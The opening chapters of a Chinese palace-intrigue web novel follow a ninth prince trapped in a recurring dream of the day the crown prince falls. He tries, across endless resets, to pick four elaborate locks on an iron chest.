《九龙夺嫡:我做个梦,怎成皇帝了》
第1章 梦中的铁箱
“九皇子殿下,您是说……你会在每天亥时一刻入梦,重复同样的梦境,并且在寅时一刻准时清醒?”
“在梦中你会度过六个时辰,从午时一刻到亥时一刻,正好度过整个祭祖大典?”
“我只不过是你做的一个梦?”
“殿下,你别开玩笑了,你做梦才三个时辰,梦中世界度过六个时辰,这对吗?”
“我们还是快走吧!御书房是重地,我们可不能待太久……”
小太监左右张望,确认没人后,有些无奈的转头看向周昕阳。
“呵呵,我可没开玩笑。”
周昕阳慵懒的靠在墙壁上,从怀中拿出一个怀表,翻开金属盖子,看着代表着秒的指针,滴答滴答的转动,慢悠悠开口:“马上这里就有好戏看,可不能错过。”
“况且,你也走不了。”
“五。”
“四。”
……
“九皇子殿下,你在数什么?”小太监一愣,有些不明所以。
周昕阳没有理会,依旧自顾自的数数:
“二。”
“一。”
踏踏踏……
突然,房门外,响起了一阵急促的脚步声。
小太监脸色当即变得惨白:“坏了!殿下,你可害死我了!”
“没事,别慌,把嘴巴闭上,等着看好戏吧。”周昕阳拉着恐惧的小太监,走到屏风后面。
两人刚藏好——
枝丫一声。
房门被推开。
“去!”
“把太子给朕带过来!”
一道威严、凌厉的浑厚声音,响了起来。
屏风后躲藏起来的小太监,浑身一颤。
周昕阳嘴角勾起,脑海中浮现出一个想法:终于要开始了!
上一次看是什么时候来着……嗯,记不清楚了,应该几百次重置前吧?
“是!”
门外侍卫回应后,疾步离开。
“放开我,你们这些奴才,敢绑孤?”
“知道孤是谁吗?”
“孤可是太子,是储君,是未来的天子!”
“你们这些狗奴才,还不给孤松绑?”
一道带着醉意的怒斥声,从远处传了过来。
“孽障!”
“放肆!”
昭明帝狠狠拍了一下桌面,脸色阴沉。
“孽畜,酒醒了没有?”
“身为太子,醉酒无状,擅闯皇宫,御道之上,纵马狂奔,如此大逆不道,你是要造·反吗?”
“原来是父皇啊!”太子醉意朦胧的看了一眼昭明帝,“父皇,儿臣醉酒无状,向你赔罪了!”
“你还知道朕是你父皇?”
“你这个孽畜、逆子!”
昭明帝厉声呵斥。
“呵呵。”
太子浑不在意的呵呵一笑,靠在梁柱上,看着皇帝:“父皇,你老了,也昏聩了,是时候让位了。”
“放肆!”
昭明帝大怒,指着太子:“周炳宸,你是疯了不成?如此大逆不道之言,难道不怕朕把你关入宗人府,废掉你的太子之位?”
“废掉儿臣的太子之位?”
太子一下子就清醒了,眼眸锐利了起来:“儿臣还是太子吗?”
“什么?”
昭明帝脸色阴沉,“你这孽子究竟在说些什么?”
太子站起身来,目光灼灼的盯着昭明帝:“儿臣问父皇,儿臣还是太子吗?”
“如果是,为何老二老三,还不去就藩?”
“如果不是,还望父皇给儿臣一个痛快,废掉儿臣的太子之位!”
“省得朝堂上下猜忌,百官议论纷纷!”
“周炳宸……”昭明帝刚开口,就被太子厉声打断。
“请陛下称我为太子!”
“十五年了!”
“儿臣做的,文武百官都看在眼里,也算称得上贤明。”
“可为何您不让老二老三去就藩?”
“身为藩王,为何常年滞留京城?”
“您究竟想做什么?”
昭明帝脸色阴沉,狠狠一拍桌子:“放肆!”
“你是在质问朕吗?”
“你有什么资格质问朕?”
“你的所作所为,朕一直看在眼里,只不过因为你是嫡长,你是朕的太子,朕一直忍耐,一直在给你机会,是你自己不懂得珍惜,不懂得克制。”
“你是太子,朕走之后,一切不都是你的,你为什么要抢?”
“哈哈哈……”太子周炳宸突然哈哈大笑:“父皇,你读不读书?”
“什么?”昭明帝怒极反笑:“你这逆子,当真是得了癔症,脑子坏掉了!”
太子冷笑一声:“孤可不是小老九,从小到大都被梦魇之症困扰,整日疯疯癫癫的。”
听见太子提起自己,周昕阳忍不住摸了摸鼻子,嗯……有点尴尬,不过也不至于疯疯癫癫吧?我是这个形象吗?
“孤问的是,父皇读不读史书?”
“你这话是什么意思?”昭明帝极为震怒。
“父皇,你若读史书,你就会知道,纵观历史,有几位太子是顺位继承的?”
“我若不是嫡长,您会立我为太子吗?”
“十五年了,我怀揣希望过了十五年,我这么尽心尽力,难道还不能打动你吗?”
“我的父皇!”
“我知道,你喜欢老二老三,甚至喜欢老九都比喜欢我多!”
“可孤是太子,孤才是未来的天子……”
“很快就不是了。”
正在这时——
一道身影,身披甲胄,大步走了进来。
“儿臣见过父皇。”
来人对着昭明帝恭敬行礼。
“老六!”
“竟然是你?”
太子看清楚来人长相后,先是难以置信,随后就是愤怒。
“情况如何?”
昭明帝情绪平复了下来,轻声问道。
“父皇,东宫已经搜遍了,除了一个打不开的箱子外,没有发现违禁之物。”
“但根据宫中太监所言,太子曾在宫中穿过龙袍……儿臣怀疑龙袍就藏在这个箱子里。”
六皇子周煜城拱手道。
“污蔑!”
“欲加之罪,何患无辞?”
太子极为愤怒。
“既是欲加之罪,太子殿下为什么不打开箱子,自证清白呢?”六皇子慢悠悠的说道。
“哼!”
“如果箱子是我的,我当然会打开箱子,证明自己的清白。”
“可我又怎么知道这个箱子是不是你派人运进东宫,想要栽赃陷害于我?”
太子恶狠狠的说道。
“好了。”
昭明帝打断了兄弟二人的对话:“老六,让人把箱子拿进来。”
“是。”
六皇子吩咐太监们,将箱子抬了进来。
周昕阳悄悄探出脑袋,看向被太监们抬起来的箱子。
这是一个漆黑如墨的铁箱,极为沉重,上面扣着四种锁,分别是横式长方体的广锁、象征长寿与官运的龟锁、篆刻轮转机关的汉字密码锁、铁链交织的机关铜锁……
“一个铁箱子,四把锁?”
“你这孽子,究竟想要藏什么?”
“还不把箱子打开?”
昭明帝看着被重重封锁的铁箱子,脸色阴沉,指着太子,呵斥道。
“父皇,这不是我的,这都是老六的陷害和污蔑。”太子看着箱子,眼中闪过一丝慌乱,矢口否认。
“胡说八道……”昭明帝大怒,作势欲打。
“父皇,不如让能工巧匠过来开锁?”六皇子提议道。
闻言,昭明帝点了点头:“也好。就让你这逆子心服口服!”
看着这一幕,周昕阳从怀中掏出怀表,看着上面的时间,时针九,分针二,
“晚上九点十分了……”
“只剩下五分钟了。”
“要抓紧时间了。”
“这算是无限循环中,我唯一一个还没破解的难题。”
“接下来,轮到我表演了。”
在一旁小太监震惊、呆滞的目光下,周昕阳大步走出了屏风。
“父皇,不如让我试试看?”
昭明帝看见周昕阳出现的刹那,露出了惊讶和震怒的情绪:
“老九,你怎么在这里?”
偷听?
难道老九也参与了此事?
这个想法,在他的脑海中一闪而逝。
“父皇,我做了个梦,梦见你让我晚
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上来御书房找你,所以我就过来了。”
周昕阳随口解释着缘由,绕过昭明帝,蹲下身子,开始捣鼓铁箱上的大锁。
“九弟!”
“父皇还没发话,你就擅自开锁,不合适吧?”六皇子一把抓住周昕阳的胳膊,语气不善。
“放手!”
周昕阳转头看向六皇子,冷声道。
“嗯?”
六皇子的眼神一下子凌厉了起来,刚想说些什么,昭明帝就开口了。
“行了,你跟一个孩子置什么气?”
“老九,你试吧。”
“是,谢谢父皇。”周昕阳一把甩开六皇子的手,开始破解铁箱上的四把锁。
第一把是横式长方体的广锁……
周昕阳随手从袖子里掏出一根铁丝,轻轻一捅,咔嚓一声,开了。
嗯?
太子见状,心头一惊,这么快?
第二把是象征着长寿与官运的龟锁,模样奇特,像是一只趴在地上的小乌龟,探出来的龟·头就是锁孔。
“多簧联动?九子连环锁吗?”
“倒是麻烦点。”
“不过……难不倒我。”
周昕阳听着锁声转动的声响,拿着铁丝一点点将齿轮中的七片簧叶对准,随后用力一捅。
“咔嚓!”
第二把锁,开!
太子瞪大了眼睛,这也太快了吧?
周昕阳拿出怀表,看着上面的时间:“只剩下二分钟了,速度还是太慢了。”
听着周昕阳的喃喃自语,太子嘴角抽动了一下,这还慢?
六皇子也一脸震惊,九弟这个溜门撬锁的能力,也太厉害了吧?不是!他一个皇子,学这个干嘛?
昭明帝忍不住揉了揉眼睛,也是难以置信,心想:有梦魇之症的小老九,还有这个本事?
第三把锁……是篆刻有一个个小汉字的暗黑色轮转机关密码锁。
每一转上都刻有七个汉字。
共有五个转轮。
也就是三十五个字。
第一转:宿、雾、凝、林、掩、翠、痕。
第二转:空、庭、独、坐、对、云、根。
第三转:一、声、鸟、破、千、山、寂。
第四转:数、缕、风、梳、万、叶、魂。
第五转:涧、水、泠、泠、穿、石、罅。
简单来说,想要破解这个密码锁,需要将五个转轮都对准到正确的位置,同时拥有对应的钥匙,插入锁孔,才能打开。
“这么麻烦,哪有这个时间。”
周昕阳转动了几下转轮后,直接站起身来,径直走到桌前,伸出手探入黄花梨笔海,取出了一柄镶嵌着红宝石的黄金**。
“嗯?”
昭明帝微微皱眉,小老九怎么知道朕的笔海中有**的?
“锵!”
黄金**与锁链碰撞,发出刺耳的声响。
周昕阳不断撬动汉字密码锁的锁芯,企图在有限的时间内,暴力破解掉这把锁。
指针不断转动……
【21:14:25】
周昕阳看着怀表上的时间,将手中的黄金**随手丢掉:
“算了,没时间了,明天再试吧。”
“不,或许明天可以考虑,直接去搜查东宫,在里面开锁……”
听见如此疯癫的话语,六皇子忍不住开口:“老九,你怕不是癔症又发作了吧?”
“铁箱都被我搬出来了,你去搜查什么?”
“还在里面开锁?”
“打不开锁,就打不开锁。”
“还明天再去搜查东宫?”
六皇子对着昭明帝,行了一礼:
“父皇,这个老九,又犯病了,还是让他下去休息吧!”
昭明帝神情复杂,看着周昕阳:“小老九,你的癔症已经这么严重了吗?”
闻言,周昕阳微微一笑:
“行了,父皇,老六,我们明天的梦再见。”
下一刻——
眼前的一切,都破碎了起来,犹如破碎的镜面,到处都是裂纹。
碎片一寸一寸掉落。
周昕阳逐渐失去知觉……
掉落下来的碎片,化作一只只挥动羽翼的翩翩蝴蝶,不断挥动,飞往遥远的未知彼岸。
第2章 彻底疯狂的梦境过往
云梦州,泽川王府。
后院,主卧房间。
夜风微凉,窗外竹影摇晃。
月华倾泻,银光铺满大地。
夜已深,知了声漱漱作响。
床榻上,周昕阳猛然睁开双眼,看着熟悉的天花板,习惯性拿起枕头边的怀表,看了一眼时间。
【3:15:01】
他放下怀表,望着天花板,思绪转动,喃喃自语:“四把锁,五分钟内打开,是不可能的。”
“哪怕我每天都尝试,想要在有限的时间内,一口气打开四把锁,难如登天。”
“所以破局的方法,只能是潜入东宫,或者跟随老六一同搜查东宫,提前尝试打开铁箱。”
“四把锁,都用了不同的技艺。”
“老大这个家伙,还真是会给人添麻烦……”
周昕阳思绪转动,眼眸闪烁,在脑海中浮现那四把锁的外形。
“第一把锁,是最常见的横式广锁,一般出现在寻常百家姓,是一种常见锁,是根据里面的金属簧·片来开合锁芯的。”
“这种锁,也就三簧。”
“三页簧·片,对了,就开了。”
“没什么技术含量。”
“第二种的龟锁,难度就高了不少,采用的工艺是多簧联动,一般有七页簧·片到九页簧·片,需要同时抬升所有簧·片,才能打开锁。”
“也难不倒我。”
“第三种锁,有点麻烦了。”
周昕阳翻身下床,走到书桌前,点起蜡烛,拿起墨笔,开始描绘四种锁的形状,以及模拟出来的内部机关图案。
“五转汉字密码锁。”
“每一转都有七个汉字,”
“不过那个文字密码锁的内容,似乎是一首诗?”
“破解的方式,或许能从这一点出发。”
周昕阳翻身下床,走到书桌前,点起蜡烛,拿起墨笔,开始奋笔疾书。
将梦中的那首诗在宣纸上写了下来。
宿雾凝林掩翠痕,
空庭独坐对云根,
一声鸟破千山寂,
数缕风梳万叶魂,
涧水泠泠穿石罅。
“这是一首写景的诗词。”
“讲的是山中晨景,宿雾凝林指的是清晨山间的雾气朦胧……”
“也就是说打开锁的密码,就是由这些字,组成的下一句诗。”
周昕阳看着纸张上的内容,喃喃道:“其实还是时间不够,如果时间够,五个转轮,一点点听簧·片转动的声音,也能打开。”
“最后一把锁,所料不差的话,应该是刑部大牢独有的反向簧锁,这种锁,只要插入错误的钥匙,就会触发机关,将锁头卡死……”
“这种锁,一般用于刑部大牢。”
“算了,今天就先到这里吧。”
“先睡觉,等明天天亮了,再研究怎么打开剩下的两把锁……”
周昕阳想了想,也没什么头绪,毕竟没有钥匙的情况下,就需要一点点试错,哪怕他掌握了开锁能力,也不是什么锁都能立刻打开的。
更别提这种特制的高工艺锁头。
周昕阳重新爬到床铺上,躺下,闭上眼睛,进入梦乡。
……
周昕阳出生在一个九龙五凤的皇家,大虞,是这个国家的名字。
从小到大,他都是最不起眼的存在,在他五岁的时候,大皇子周炳宸被立为太子。
从十岁那一年开始,他每天晚上都会陷入一个不断循环的怪梦。
在梦里,他成为了二十岁的自己,参见了自己的成年礼,参见了祭祖大典,也看见太子醉酒在御道奔马……
这一切是那么的新奇!
曾经懵懂、幼小的周昕阳,只觉得很有意思,很奇妙,在梦境世界里疯狂探索,畅所欲言,也闹出了很多笑话和乌龙。
毕竟幼时的自己,又怎么能懂成年人的世界呢?
可随着他逐渐长大,恐惧、压抑、痛苦令他无法呼吸。
因为他惊恐的发现,自己似乎永远被困在了这一天。
无论现实世界如何变化,只要入梦,只要在亥时一刻进入梦乡,他就会来到这个熟悉的皇宫,参见仪式恢宏的祭祖仪式……度过这恐怖的六个时辰。
他什么也改变不了!
曾几何时,周昕阳很害怕这个梦,很恐惧这个梦。
他也曾跟别人讲述过,可谁又会相信一个十岁小孩的话呢?
旁人只以为他得了梦魇之症、得了癔症。
他也曾听话的喝药,也曾尝试冥想,注意休息,可是……没用,根本没用,什么都改变不了。
渐渐的,周昕阳也不喝药了,每次都偷偷倒掉,他房间里盆栽总是养不活,以至于养花的太监都以为是不是风水不好……
对于周临渊来说,每天都是一成不变的人,一成不变的事,一成不变的皇宫。
他也曾尝试逃离皇宫,可很快就被抓回来了,因为九皇子在祭祖大典上逃走,如何不引起皇帝的震怒呢?
他也曾尝试不参加祭祖大典,亦或者是装病、装疯卖傻,但还是没用,因为一旦如此,他就会被抓起来,强行灌药,然后绑在床上,度过梦境的六个时辰。
他也曾尝试在梦境中**,可没用,**只能解决当天的梦境,第二天的梦境依旧是他们。
这种痛苦和疯狂,几乎伴随着周昕阳度过了整个童年。
他觉得自己仿佛被关进了牢笼,就和刑部大牢里的囚犯一样,只是人家是在大牢里面服刑,而他是在自己的梦里……
随着周昕阳长大,他也开始学会“享受”。
生活就像强女干,不能反抗,那就只能好好享受了。
他逐渐发现,当他确定享受开始,梦境似乎……也没那么痛苦了。
他开始肆意妄为,他开始肆无忌惮,他开始胡作非为!
反正无论他在梦境里做什么,第二天就刷新了,就循环重复了。
所以他干什么都可以。
……
他开始总结归纳,开始尝试玩转梦境世界。
他发现自己会准时在亥时一刻(怀表时间21:15)入梦,然后在寅时一刻(怀表时间3:
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15)准时清醒。
而在这三个时辰里,在梦境中,他会经历六个时辰。
从午时一刻(怀表时间11:15)到亥时一刻(怀表时间21:15)。
弄懂了游戏规则后。
周昕阳就开始了暴爽梦境!
在现实中,他是一个不受宠的九皇子,年幼、不懂事、癔症、疯疯癫癫、梦魇之症……这些乱七八糟的东西,都是他的标签。
可梦境世界不同,他是二十岁成年后的自己,他是藩王,他可以随心所欲的疯狂!
反正想杀谁,就杀谁,想怎么玩,就怎么玩,反正第二天,就是重新来过。
他怕啥?
在我的梦里,还能被你欺负了?
没有律法能够约束他。
没有后果需要他来承担。
没有道德可以束缚他。
他彻底疯狂了!
在十几岁的周昕阳,在梦境中,成为了一个彻头彻尾的“疯子”!
发泄。
狠狠的发泄!
肆意挥洒着属于他的青春!
几乎能想到的事情,他都干了一遍。
大逆不道,已经不能形容这个时间段的周昕阳,他需要一个更牛逼的词!
放火烧皇宫、睡宫女皇妃、弑父夺位……
那段时间,由于过于疯狂,以至于现实中的周昕阳,看所有人的眼神,都有一种桀骜、瞅你咋地的感觉。
太监宫女对这位九皇子都是避之不及。
所有人都认为九皇子殿下癔症更严重了……
只有周昕阳明白!
咋滴?
你不爽啊?
信不信我在梦里干·死你!
……
自从打开了享受模式后。
周昕阳的精神状态,明显好了很多。
从一个极端,走向了另一个极端。
皇宫游乐场,有梦你就来!
当然,由于太过疯狂……
周昕阳成功的体验了除了**外的各种死亡方式。
也就是这段时间,周昕阳总结了第二定律。
【如果在梦境中死亡,就会在现实世界立刻苏醒。】
嗯……
也是这段时间,周昕阳才知道大虞还有这么多种刑法呢?
十大酷刑、三十九种让人痛不欲生的特殊刑罚……
周昕阳自己总结的一个道理。
不能被活捉,不然今天只能做噩梦了!
在所有死亡方式中,最常见的,就是被禁军**、或者被乱箭射死。
这种算是死的比较快,比较爽的了。
也正因为如此,周昕阳磨练出了一身好武艺,毕竟,跑得慢,就没玩了!
随着日子一天天过去,周昕阳也逐渐长大,他越来越期待二十岁的那天,他想看一看,那天是不是跟梦境一样?
他能不能在现实世界看见太子御道奔马?
能不能看见太子造·反?
可……令他没想到的事情发生了。
就在祭祖大典的那一天。
他昏迷了。
第3章 梦境为真?
是的。
他昏迷了。
就这么莫名其妙的昏迷了过去。
当他恢复意识的时候,时间已经来到了第二天。
他躺在前往自己封地的马车上。
在路上,他与自己的贴身太监徐善交流,发现了一件令他惊恐的事。
那就是——
虽然意识昏迷了,可他的身体却并没有昏迷,很熟练的完成了祭祖、成年礼、晚上酒宴……
一切都很得体,都很自然。
可对于这些,周昕阳却没有任何一丝一毫的记忆。
这太恐怖了。
直到现在,
周昕阳都觉得诡异。
可接下来发生的事情。
更令他感到惊悚!!
太子居然真的喝醉?
并且在御道上奔马!
骑马通过了这条独属于帝王才能使用的御道……
这个消息被严格封锁。
直到数月之后,伴随着太子废的消息,传到云梦州,这些“流言蜚语”才被他知晓。
当周昕阳得到听到这些消息的时候,人是懵的。
梦境成为现实了?
这一切不是做梦,都是真的!
……
太子被废了。
被关入了宗人府。
这让周昕阳意识到自己的梦境没那么简单!
他一定要解开梦境的谜团。
这才有了他现在的疯狂探索。
他不再把梦境当做一个“游乐场”,而是当成一个谜题来探索、来揭秘。
随着探索,他发现最有疑点的。
就是这个铁箱。
因为十年间梦境探索,绝大多数的东西,周昕阳都翻看过了,唯有这个铁箱,它出现的时间卡的太好了。
五分钟。
只有五分钟。
早一点,晚一点,周昕阳都靠近不了这个铁箱。
早一点,周昕阳会被六皇子拦下来,甚至被抓住,当成太子的同伙。
晚一点,梦境世界就刷新重置了。
它的时间太短了。
导致周昕阳每次都错过。
接下来,他打算全力攻克这个铁箱,弄清楚太子隐藏的东西究竟是什么?
六皇子说是龙袍,可周昕阳觉得不止是龙袍这么简单。
他有一种预感,里面的东西,或许能解释他为什么会做这个怪梦?
他为什么会在祭祖大典当天昏迷?
他又为什么会失去祭祖大典当天的记忆?
还有,他都昏迷了为什么还能完成祭祖仪式?
这场梦,他已经做了十年。
这一次,他必须找到一个答案。
……
云梦州,泽川王府。
辰时三刻。
周昕阳洗漱结束后,来到了后院用早膳。
今日的早膳,与往日没什么不同。
竹节卷小馒头、方形馅饼、绿豆糕,配奶酥。
燕窝炖肥鸡、炭烤狍子肉、鸭肉粥、酱黄瓜、酸菜……
周昕阳用着早膳,听着一旁的小太监徐善汇报着近期藩地内的趣事,以及朝廷的情况。
“王爷,近期封地内出现了一件趣事。有个傻子,在木桩旁捡到了一只撞死的野兔,然后他就一直待在木桩旁,等着其他野兔来撞……结果活活饿**。”
“王爷,您说好笑不?”
周昕阳面无表情喝了一口粥:“不太好笑,说一说朝廷的情况吧。”
“太子被废后,老二、老三、老六,谁上去了?”
“有消息传过来吗?”
数月之前,年满二十岁的周昕阳,从封地前往宸极城(都城),参加祭祖大典和冠仪式,伴随着仪式结束,身为藩王的他,在第二天就被要求返回封地。
其余藩王也是如此。
唯有三位藩王留了下来。
他们分别是:
二皇子周·炜廷(锦川王)。
三皇子周焕章(砥野王)。
以及六皇子周煜城(剑南王)。
小太监徐善低声道:“回王爷,六王爷在一个月前回到了自己的封地。”
“是吗?”
周昕阳若有所思。
如果梦境所见皆为真,那么老六找到铁箱,肯定立下了大功。
可他还是返回了自己的封地。
明显与太子之位无缘。
这是否意味着父皇更中意老二、老三,想要在他们之中挑选一位出来当太子?
“老二、老三呢?”
“最近有什么动静?”
周昕阳淡淡问道。
“王爷,二皇子、三皇子都被安排在皇家别苑,时不时被陛下召见,安插在京城的人发现,最近召见两人的频率比往常多了不少。”
“太医院的线人传回消息,陛下最近时常失眠,在深夜召见太医……”
徐善低声道。
“嗯。”
周昕阳轻嗯了一声,没有多说什么。
“有件事,你即刻去办。”
“把封地内所有锁匠统统找来。”
“本王给你半个时辰,看不到人,你就去领二十棍。”
“是。”徐善连忙行礼,大步离去。
周昕阳继续用膳,吃着燕窝炖肥鸡,思绪转动,想着今晚的行动方向。
究竟是先潜入东宫,提前开始寻找铁箱?
还是先跟六皇子碰面后,再前往东宫呢?
……
半个时辰后,王府后花园。
“参见王爷。”
一众锁匠站成一排,恭敬行礼。
“徐善,把纸张发给众人。”周昕阳吩咐道。
“是。”
徐善将画有特殊锁形的纸张,发给了每一个人。
“上面有两种锁,一种是五转汉字密码锁,另一种是刑部大牢独有的反向簧锁,本王要你们每人出一个破解方案,写在纸上。”
“不会写字的,可以让王府中的下人代劳。”
“如果需要实际操作才能说明白的,可以先在偏厅候着。”
“好了,你们可以开始了。”
周昕阳转身离去。
徐善吩咐道:“来人,上笔墨纸砚。”
“诸位师傅,答题吧。”
一众锁匠,面面相觑。
这么新奇的开锁方式,他们也是第一次见。
如果是要开锁,为何王爷不拿出实物呢?
他们哪里知道,周昕阳要开的……是梦中之锁。
一两个时辰后,周昕阳手中多了许多创意。
“这份答卷,倒是中规中矩,听锁芯簧·片转动的声音,来判断每一个转轮是否对准……”
“与自己的想法一致。”
“就是太费时间了。”
周昕阳随手拿起一份答卷,看了一眼后,丢到一旁。
“这份答卷有些创意,认为应该从诗词出发,找精通诗词歌赋之人,为这首诗续写,要求使用上述字。”
“方法是可行的,就是有些费时费力。”
“不过,本王最不缺的就是时间和人手。”
“这个方法可以一试。”
周昕阳拿起其他答卷,逐一观看了起来。
“这份答卷,给出了一个透光凹槽法……”
“这份答卷,给出了一个触感反馈法……”<
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p>“这份答卷,给出了一个暴力拆解法……”
通过一众锁匠的集思广益,周昕阳还真学会了几个不同的破解五转汉字密码锁的方法。
“不过,对于刑部大牢的反向锁,他们倒是讳莫如深。”
“只有少数几个锁匠,建议采取暴力拆解法。”
“看来还是担心,本王是在“钓鱼”……”
对此,周昕阳倒是并不在意。
毕竟,锁匠为求自保,倒也无可厚非。
“开锁的方法,大同小异。”
“刑部大牢独有的反向锁簧,最大的特点就是钥匙错误后,会锁死锁芯。”
“如果能找到钥匙,就不用这么麻烦了。”
“不过不太可能,东宫都被搜遍了。”
“除非能抓住太子,严刑拷打,逼问出钥匙的下落。”
周昕阳又有了一个思路。
反正是做梦,直接无法无天又如何?
直接一力破万法!
就是狂虐太子,不信他不招!
当然了,想法是好的,可哪怕在梦境中,这个实施难度也很高。
最大的问题就是……他的身份,是回京参见祭祖大典和成年仪式的藩王。
他的一举一动,时刻都在朝廷、皇帝的注视下。
他一旦有什么特殊的举动,立刻就会被控制。
还想抓住太子?
严刑拷打?
简直是难如登天。
最大的可能就是他刚行动,就提前开启禁军围猎副本,然后被万箭穿心,或者被砍成肉泥。
毕竟,一个藩王抓住太子,还严刑拷打,这不是造·反是什么?
所以,这只能当做一个备选。
接下来的时间。
周昕阳做了两件事。
第一个,让封地内的读书人,用宿雾凝林掩翠痕……这五句诗词,续写古诗。
第二个,将自己关在书房,设计今晚的行动计划。
……
晚上,亥时(怀表时间21:00)。
周昕阳躺到床上,望着天花板,等待着困意袭来。
“再梳理一下昨天的细节。”
“太子醉酒御道奔马,被父皇抓获。”
“这个时间点,肯定是在酒宴之后……”
“可看老六的动作,明显是提前动手的,当然了,也有可能是在太子醉酒奔马后,父皇才授意老六进行的搜查。”
“毕竟私藏龙袍,乃是谋逆大罪,不过由于太子身份特殊,父皇并不打算闹得太大,所以一直在犹豫。”
“毕竟父皇曾说,朕一直忍耐,一直在给你机会,是你自己不懂得珍惜,不懂得克制……”
“所以对于太子做的一些事情,其实父皇是知道的。”
“可醉酒御道奔马,点燃了父皇的怒火,这才导致了搜查东宫之事的发生。”
“不过老六毕竟也是藩王,由他来查太子东宫,明显不太合适,哪怕父皇很信任老六,也不可能全权交由他来处理。”
“所以,应该还有一位父皇信任的将军,参与了此事。”
周昕阳默默分析,思考着此事的细节。
时间不断流逝。
想着想着,周昕阳突然涌起了一丝困意,眼皮开始越来越沉……
很快,他就被无边的黑暗所吞噬。
在黑暗之中,有一只不断煽动翅膀的梦幻蝴蝶,沿着一道流淌着的淡淡银光河流,逆流而上,飞往未知的彼岸。
……
皇宫大内,偏殿。
巳时一刻。
“殿下,醒一醒,祭祖大典快开始了……”
一个熟悉的声音,在周昕阳的耳畔响起。
第4章 祭祖大典开始
唰!
周昕阳猛得睁开眼睛,看向周围。
熟悉的皇宫大院。
熟悉的开局点位。
熟悉的……嗯,徐善。
“王爷,你吓死我了,突然晕倒,要不是您交代过奴婢,先观察一下,奴婢肯定去叫御医……”
小太监徐善喋喋不休的说着,眼神中的尽是关切。
“时间9:15分。”
“准时准点。”
周昕阳从怀中掏出怀表,看着上面的时间,神情平静。
“王爷……”徐善眼巴巴的看着周昕阳,见对方不理自己,显得很是委屈。
“好了,本王知道你想说什么,你想说,祭祖大典马上就要开始了,我们要抓紧启程,不要耽误时间。”
周昕阳淡淡说道。
“额……”徐善表情一僵,王爷怎么知道自己想说什么?
“走吧。”
周昕阳驾轻就熟的大步向前走。
徐善跟在周昕阳身后,望着对方的背影,满脸的疑惑。
王爷不是很多年都没回皇宫了吗?
怎么……如此熟悉的感觉?
徐善又哪里知道整个皇宫,对于周昕阳来说,几乎是最熟悉的地方。
回到皇宫,就跟回家了一样。
甚至每一处禁军的轮岗时间,每一处花圃什么时候浇水,哪一个宫里的妃子、宫女最正点……他都一清二楚。
这个时间点,整个皇宫,就没有他没有去过的地方。
如果不是祭祖大典和成年礼,他必须参加,不然会弄得大乱,他的探索进度,绝对不止一个皇宫。
周昕阳大步走着,朝着皇宫午门走去。
而他身为藩王,只能走西侧门,出皇宫。
至于太监徐善,他更是连走侧门的资格都没有。
皇宫中规矩森严。
容不得一丝一毫的差错。
……
宸极城,又名京城,极天城,是大虞的国都。
分为皇宫、内城、外城,郊外,共四城。
一层套一层。
郊外是没有京户身份的百姓,暂时落脚的地方,有村庄,有城镇,但较为混乱。
外城是有京户百姓生活的地方,街道宽阔,有各地美食,街道上的商铺内,布匹、美酒、肉食、蔬菜一应俱全。
内城只有达官显贵、有权有势的贵族、世家,才能居住。
皇宫,位于中轴线最中心的位置,整体布局严谨对称,彰显皇权的至高无上和森严的等级制度。
整个皇宫,是在午门、太宸门、太和殿、中极殿、保宸殿为中轴线划分的,严格遵循“前朝后寝”、“左祖右社”的传统。
……
行进至午门前。
周昕阳通过西侧门,走了出去。
而身为太监的徐善只能绕路,从其他特殊的小门通过。
午门共有五个门洞,左右两处掖门,一般是不开的,能够通行的,只有中间的三个门洞。
东侧门供文武官员出入,而西侧门供宗室王公出入。
周昕阳是藩王,又是皇子,属于王公贵族,自然走西侧门。
所谓御道,就是午门的中门门洞,往后通往太宸门、太和殿……直到御花园的专属通道。
这条道路,独属于帝王。
只有当今天子,才能行走,或乘舆通行。
太子醉酒御道奔马,犯大不敬,指的就是他身为太子,身为储君,却不守礼法,竟敢亵渎天子,走天子御道!
此乃僭越大罪!
哪怕是太子也要遭受重罚!
以正典刑。
怀表时间9:45,周昕阳来到了太庙。
此刻全场寂静无声,所有人按照自己的站位,安静站立,不发一言。
太庙祭祖,乃是国之大事。
皇帝除非圣体抱恙,不然必定到场,亲自祭祀。
在传统文化中,祭祖大典被誉为比天还大的事情。
左祖右社,祖在前,社在后。
所谓祖,指的就是太庙,祭祀的就是历代帝王、皇后神位,这是在祭祖先。
所谓社,就是社稷坛,祭祀的是五色土象,也就是后土,土地是一个国家的立足之本。
祭祀土地,也是统治合法性的需要。
周昕阳望着威严古老的太庙,思绪有些发散,想起了幼年时期,闹出来的许多笑话。
最可笑的莫过于……
在祭祀大典上,询问父皇为什么祭祀太庙在前,祭祀社稷坛在后?
后来,随着周昕阳长大,他才知道。
祖权高于神权。
祭祀太庙,祭祀帝王祖先,代表着祖先传承天命,确立统治权。
而祭
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祀社稷坛,祭祀土地神(社)+五谷神(稷),为了祈求国泰民安、风调雨顺。
如果连统治权都没有了,那要国泰民安、风调雨顺有何用?
“呵呵。”
想到这里,周昕阳不由勾起一丝笑容。
“九弟,好久不见了。”
“你今天心情不错嘛!”
“在封地这些年过得怎么样?”
“癔症治得如何?”
“父皇对你还真是不错,为了给你治病,连历经三朝的郭老御医都让他告老还乡,陪你去云梦州……”
正在这时,周昕阳的左边,传来一个温和的声音。
周昕阳都不用回头,就知道说话之人是谁。
“二哥,多谢关心,我最近身体好多了。”周昕阳笑着回应。
“是吗?”
“那就好!”周·炜廷微微一笑,并没多说什么。
二皇子的话,令周昕阳逐渐将发散的思绪收了回来,看向周围。
包括他在内,所有王公贵族、文武大臣都到场了。
边疆四王,由于需要把持军事,抵御外敌,所以并没有来参加,只是让世子前来,代为参加。
而周昕阳、周·炜廷、周焕章、周煜城,他们作为内陆·四王,基本上每年祭祖、祭社大典,都会返回宸极城来参加。
周昕阳是最小的皇子,也是最晚被封为藩王的,他的七个哥哥,很早就被封为藩王,其中的七皇子、八皇子、四皇子、五皇子,分别前往边疆封地受藩,承担着保护大虞的重担。
他们也被世人称为边疆四王。
太子留在京城,帮助打理朝政十五年,勤勤恳恳。
可就在近些年,昭明帝将二皇子、三皇子从藩地召来京城后,始终不让他们返回封地,这导致朝野上下,流言四起。
不少大臣猜测昭明帝是否起了废立之心?
周昕阳扫视全场,发现不少大臣的目光,时不时扫过太子、二皇子、三皇子三人,眼神闪烁。
“咚……”
洪钟大吕般的声音响起。
所有人收敛神色,当即变得肃穆起来,微微低头,一言不发。
礼乐响。
祭品上。
昭明帝缓缓走到太庙前。
祭祖大典,开始。
